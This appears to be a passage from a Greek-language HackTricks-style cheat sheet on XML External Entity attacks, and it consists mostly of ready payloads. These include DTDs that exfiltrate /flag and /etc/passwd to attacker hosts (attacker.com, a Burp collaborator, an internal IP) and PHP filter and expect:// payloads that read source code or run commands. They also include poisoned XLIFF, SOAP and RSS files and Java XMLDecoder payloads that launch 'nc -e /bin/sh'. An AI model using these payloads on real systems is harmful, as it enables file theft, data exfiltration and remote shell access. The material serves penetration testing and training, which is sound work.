<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>

DTD παράδειγμα:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;

PHP Wrappers

Base64

Εξαγωγή index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

Εξαγωγή εξωτερικού πόρου

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

Remote code execution

Εάν είναι φορτωμένο το module "expect" του PHP

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

Αυτό το παράδειγμα είναι εμπνευσμένο από https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe

Το XLIFF (XML Localization Interchange File Format) χρησιμοποιείται για την τυποποίηση της ανταλλαγής δεδομένων στις διαδικασίες τοπικοποίησης. Είναι μια μορφή βασισμένη σε XML που χρησιμοποιείται κυρίως για τη μεταφορά τοπικοποιήσιμων δεδομένων μεταξύ εργαλείων κατά τη διάρκεια της τοπικοποίησης και ως κοινή μορφή ανταλλαγής για εργαλεία CAT (Computer-Aided Translation).

Blind Request Analysis

Ένα αίτημα αποστέλλεται στον διακομιστή με το εξής περιεχόμενο:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Ωστόσο, αυτό το αίτημα προκαλεί ένα σφάλμα εσωτερικού διακομιστή, αναφέροντας συγκεκριμένα ένα πρόβλημα με τις δηλώσεις markup:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

Παρά το σφάλμα, καταγράφεται μια επιτυχία στο Burp Collaborator, υποδεικνύοντας κάποιο επίπεδο αλληλεπίδρασης με την εξωτερική οντότητα.

Out of Band Data Exfiltration Για να εξάγουμε δεδομένα, αποστέλλεται ένα τροποποιημένο αίτημα:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.

Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Ο διακομιστής απαντά με ένα σφάλμα, σημαντικά αντικατοπτρίζοντας το ανύπαρκτο αρχείο, υποδεικνύοντας ότι ο διακομιστής προσπαθεί να αποκτήσει πρόσβαση στο καθορισμένο αρχείο:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Για να συμπεριληφθεί το περιεχόμενο του αρχείου στο μήνυμα σφάλματος, το αρχείο DTD προσαρμόζεται:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

Αυτή η τροποποίηση οδηγεί στην επιτυχία της εξαγωγής του περιεχομένου του αρχείου, καθώς αντικατοπτρίζεται στην έξοδο σφάλματος που αποστέλλεται μέσω HTTP. Αυτό υποδηλώνει μια επιτυχημένη επίθεση XXE (XML External Entity), εκμεταλλευόμενη τόσο τις τεχνικές Out of Band όσο και Error-Based για την εξαγωγή ευαίσθητων πληροφοριών.

RSS - XEE

Έγκυρο XML με μορφή RSS για την εκμετάλλευση μιας ευπάθειας XXE.

Ping back

Απλό HTTP αίτημα στον διακομιστή των επιτιθέμενων

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Διαβάστε το αρχείο

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Διαβάστε τον πηγαίο κώδικα

Χρησιμοποιώντας το φίλτρο base64 της PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE to RCE

Ο XMLDecoder είναι μια κλάση Java που δημιουργεί αντικείμενα με βάση ένα μήνυμα XML. Εάν ένας κακόβουλος χρήστης μπορέσει να κάνει μια εφαρμογή να χρησιμοποιήσει αυθαίρετα δεδομένα σε μια κλήση στη μέθοδο readObject, θα αποκτήσει αμέσως εκτέλεση κώδικα στον διακομιστή.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Εργαλεία

Αναφορές

Υποστήριξη HackTricks

Last updated